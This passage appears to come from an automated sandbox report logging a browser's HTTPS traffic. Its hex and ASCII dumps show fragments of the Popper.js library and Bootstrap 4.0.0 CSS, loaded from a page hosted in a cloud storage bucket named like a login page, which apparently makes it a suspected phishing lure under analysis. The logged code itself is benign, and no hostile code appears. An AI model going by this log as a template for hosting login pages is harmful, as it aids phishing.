d[t]/100r}if('vh'===p\|\|'vw'===p){var a;return a='vh'===p?J(document.documentElement.clientHeight,window.innerHeight\|\|0):J(document.documentElement.clientWidth,window.innerWidth\|\|0),a/100r}return r}function z(e,t,o,i){var n=[0,0],r=-1
2021-10-25 16:17:23 UTC	30	IN	Data Raw: 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2c 5a 3d 5b 27 45 64 67 65 27 2c 27 54 72 69 64 65 6e 74 27 2c 27 46 69 72 65 66 6f 78 27 5d 2c 24 3d 30 2c 65 65 3d 30 3b 65 65 3c 5a 2e 6c 65 6e 67 74 68 3b 65 65 2b 3d 31 29 69 66 28 51 26 26 30 3c 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 5a 5b 65 65 5d 29 29 7b 24 3d 31 3b 62 72 65 61 6b 7d 76 61 72 20 69 2c 74 65 3d 51 26 26 77 69 6e 64 6f 77 2e 50 72 6f 6d 69 73 65 2c 6f 65 3d 74 65 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 21 31 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 7c 7c 28 74 3d 21 30 2c 77 69 6e 64 6f 77 2e 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f Data Ascii: fined'!=typeof document,Z=['Edge','Trident','Firefox'],$=0,ee=0;ee<Z.length;ee+=1)if(Q&&0<=navigator.userAgent.indexOf(Z[ee])){$=1;break}var i,te=Q&&window.Promise,oe=te?function(e){var t=!1;return function(){t\|\|(t=!0,window.Promise.resolve().then(functio
2021-10-25 16:17:23 UTC	31	IN	Data Raw: 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 7b 7d 3b 6e 65 28 74 68 69 73 2c 74 29 2c 74 68 69 73 2e 73 63 68 65 64 75 6c 65 55 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 6e 2e 75 70 64 61 74 65 29 7d 2c 74 68 69 73 2e 75 70 64 61 74 65 3d 6f 65 28 74 68 69 73 2e 75 70 64 61 74 65 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 73 65 28 7b 7d 2c 74 2e 44 65 66 61 75 6c 74 73 2c 72 29 2c 74 68 69 73 2e 73 74 61 74 65 3d 7b 69 73 44 65 73 74 72 6f 79 65 64 3a 21 31 2c 69 73 43 72 65 61 74 65 64 3a 21 31 2c 73 63 72 6f 6c 6c 50 61 Data Ascii: uments.length&&void 0!==arguments[2]?arguments[2]:{};ne(this,t),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=oe(this.update.bind(this)),this.options=se({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollPa
2021-10-25 16:17:23 UTC	32	IN	Data Raw: 74 3a 7b 6f 72 64 65 72 3a 31 30 30 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 6c 61 63 65 6d 65 6e 74 2c 6f 3d 74 2e 73 70 6c 69 74 28 27 2d 27 29 5b 30 5d 2c 69 3d 74 2e 73 70 6c 69 74 28 27 2d 27 29 5b 31 5d 3b 69 66 28 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 66 66 73 65 74 73 2c 72 3d 6e 2e 72 65 66 65 72 65 6e 63 65 2c 70 3d 6e 2e 70 6f 70 70 65 72 2c 73 3d 2d 31 21 3d 3d 5b 27 62 6f 74 74 6f 6d 27 2c 27 74 6f 70 27 5d 2e 69 6e 64 65 78 4f 66 28 6f 29 2c 64 3d 73 3f 27 6c 65 66 74 27 3a 27 74 6f 70 27 2c 61 3d 73 3f 27 77 69 64 74 68 27 3a 27 68 65 69 67 68 74 27 2c 6c 3d 7b 73 74 61 72 74 3a 70 65 28 7b 7d 2c 64 2c 72 5b 64 5d 29 2c 65 6e 64 3a 70 65 28 7b 7d 2c 64 2c 72 5b 64 5d 2b 72 5b Data Ascii: t:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split('-')[0],i=t.split('-')[1];if(i){var n=e.offsets,r=n.reference,p=n.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:pe({},d,r[d]),end:pe({},d,r[d]+r[
2021-10-25 16:17:23 UTC	34	IN	Data Raw: 26 26 28 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 64 5d 3d 72 28 69 5b 73 5d 29 29 2c 65 7d 7d 2c 61 72 72 6f 77 3a 7b 6f 72 64 65 72 3a 35 30 30 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 76 61 72 20 69 3b 69 66 28 21 46 28 65 2e 69 6e 73 74 61 6e 63 65 2e 6d 6f 64 69 66 69 65 72 73 2c 27 61 72 72 6f 77 27 2c 27 6b 65 65 70 54 6f 67 65 74 68 65 72 27 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 6e 3d 6f 2e 65 6c 65 6d 65 6e 74 3b 69 66 28 27 73 74 72 69 6e 67 27 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 6e 3d 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 29 2c 21 6e 29 72 65 74 75 72 6e 20 65 3b 7d 65 6c 73 65 20 69 66 28 21 65 2e 69 6e 73 74 61 Data Ascii: &&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var i;if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var n=o.element;if('string'==typeof n){if(n=e.instance.popper.querySelector(n),!n)return e;}else if(!e.insta
2021-10-25 16:17:23 UTC	35	IN	Data Raw: 49 53 45 3a 70 3d 71 28 69 2c 21 30 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 70 3d 74 2e 62 65 68 61 76 69 6f 72 3b 7d 72 65 74 75 72 6e 20 70 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 73 2c 64 29 7b 69 66 28 69 21 3d 3d 73 7c 7c 70 2e 6c 65 6e 67 74 68 3d 3d 3d 64 2b 31 29 72 65 74 75 72 6e 20 65 3b 69 3d 65 2e 70 6c 61 63 65 6d 65 6e 74 2e 73 70 6c 69 74 28 27 2d 27 29 5b 30 5d 2c 6e 3d 78 28 69 29 3b 76 61 72 20 61 3d 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 2c 6c 3d 65 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 2c 66 3d 58 2c 6d 3d 27 6c 65 66 74 27 3d 3d 3d 69 26 26 66 28 61 2e 72 69 67 68 74 29 3e 66 28 6c 2e 6c 65 66 74 29 7c 7c 27 72 69 67 68 74 27 3d 3d 3d 69 26 26 66 28 61 2e 6c 65 66 74 29 3c 66 28 6c 2e 72 Data Ascii: ISE:p=q(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s\|\|p.length===d+1)return e;i=e.placement.split('-')[0],n=x(i);var a=e.offsets.popper,l=e.offsets.reference,f=X,m='left'===i&&f(a.right)>f(l.left)\|\|'right'===i&&f(a.left)<f(l.r
2021-10-25 16:17:23 UTC	36	IN	Data Raw: 65 2e 6e 61 6d 65 7d 29 2e 62 6f 75 6e 64 61 72 69 65 73 3b 69 66 28 74 2e 62 6f 74 74 6f 6d 3c 6f 2e 74 6f 70 7c 7c 74 2e 6c 65 66 74 3e 6f 2e 72 69 67 68 74 7c 7c 74 2e 74 6f 70 3e 6f 2e 62 6f 74 74 6f 6d 7c 7c 74 2e 72 69 67 68 74 3c 6f 2e 6c 65 66 74 29 7b 69 66 28 21 30 3d 3d 3d 65 2e 68 69 64 65 29 72 65 74 75 72 6e 20 65 3b 65 2e 68 69 64 65 3d 21 30 2c 65 2e 61 74 74 72 69 62 75 74 65 73 5b 27 78 2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 61 72 69 65 73 27 5d 3d 27 27 7d 65 6c 73 65 7b 69 66 28 21 31 3d 3d 3d 65 2e 68 69 64 65 29 72 65 74 75 72 6e 20 65 3b 65 2e 68 69 64 65 3d 21 31 2c 65 2e 61 74 74 72 69 62 75 74 65 73 5b 27 78 2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 61 72 69 65 73 27 5d 3d 21 31 7d 72 65 74 75 72 6e 20 65 7d 7d 2c 63 6f 6d 70 75 74 Data Ascii: e.name}).boundaries;if(t.bottom<o.top\|\|t.left>o.right\|\|t.top>o.bottom\|\|t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}},comput
2021-10-25 16:17:23 UTC	38	IN	Data Raw: 72 69 62 75 74 65 73 29 2c 65 2e 61 72 72 6f 77 45 6c 65 6d 65 6e 74 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 2e 61 72 72 6f 77 53 74 79 6c 65 73 29 2e 6c 65 6e 67 74 68 26 26 59 28 65 2e 61 72 72 6f 77 45 6c 65 6d 65 6e 74 2c 65 2e 61 72 72 6f 77 53 74 79 6c 65 73 29 2c 65 7d 2c 6f 6e 4c 6f 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 2c 69 2c 6e 29 7b 76 61 72 20 72 3d 4f 28 6e 2c 74 2c 65 29 2c 70 3d 76 28 6f 2e 70 6c 61 63 65 6d 65 6e 74 2c 72 2c 74 2c 65 2c 6f 2e 6d 6f 64 69 66 69 65 72 73 2e 66 6c 69 70 2e 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 2c 6f 2e 6d 6f 64 69 66 69 65 72 73 2e 66 6c 69 70 2e 70 61 64 64 69 6e 67 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 78 2d 70 6c 61 63 65 6d 65 6e 74 27 Data Ascii: ributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&Y(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,i,n){var r=O(n,t,e),p=v(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement'
2021-10-25 16:17:23 UTC	38	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49754	104.18.10.207	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-25 16:17:23 UTC	38	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:23 UTC	41	IN	HTTP/1.1 200 OK Date: Mon, 25 Oct 2021 16:17:23 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 08/11/2021 06:00:03 CDN-EdgeStorageId: 756 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-ProxyVer: 1.0 CDN-RequestId: 33e3687db69c8d2ed9ad4de2ee3409a2 CDN-Cache: HIT CF-Cache-Status: MISS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 6a3cc1381a2416ea-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-10-25 16:17:23 UTC	42	IN	Data Raw: 37 62 66 38 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7bf8/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2021-10-25 16:17:23 UTC	43	IN	Data Raw: 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d 2d 77 68 69 74 65 3a 23 66 66 66 3b 2d 2d 67 72 61 79 3a 23 36 63 37 35 37 64 3b 2d 2d 67 72 61 79 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f Data Ascii: yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpo
2021-10-25 16:17:23 UTC	44	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 Data Ascii: argin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:i
2021-10-25 16:17:23 UTC	45	IN	Data Raw: 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c Data Ascii: abel{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,
2021-10-25 16:17:23 UTC	47	IN	Data Raw: 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 31 2c 2e 68 32 2c 2e 68 33 2c 2e 68 34 2c 2e 68 35 2c 2e 68 36 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 Data Ascii: rsor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-si
2021-10-25 16:17:23 UTC	48	IN	Data Raw: 62 6c 6f 63 6b 7d 2e 66 69 67 75 72 65 2d 69 6d 67 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 66 69 67 75 72 65 2d 63 61 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 30 25 3b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 Data Ascii: block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:brea
2021-10-25 16:17:23 UTC	49	IN	Data Raw: 2e 63 6f 6c 2d 6c 67 2d 31 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 2c 2e 63 6f 6c 2d 6c 67 2d 33 2c 2e 63 6f 6c 2d 6c 67 2d 34 2c 2e 63 6f 6c 2d 6c 67 2d 35 2c 2e 63 6f 6c 2d 6c 67 2d 36 2c 2e 63 6f 6c 2d 6c 67 2d 37 2c 2e 63 6f 6c 2d 6c 67 2d 38 2c 2e 63 6f 6c 2d 6c 67 2d 39 2c 2e 63 6f 6c 2d 6c 67 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 Data Ascii: .col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-a
2021-10-25 16:17:23 UTC	51	IN	Data Raw: 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 38 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 Data Ascii: 33333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333
2021-10-25 16:17:23 UTC	52	IN	Data Raw: 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 31 33 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: bkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-le
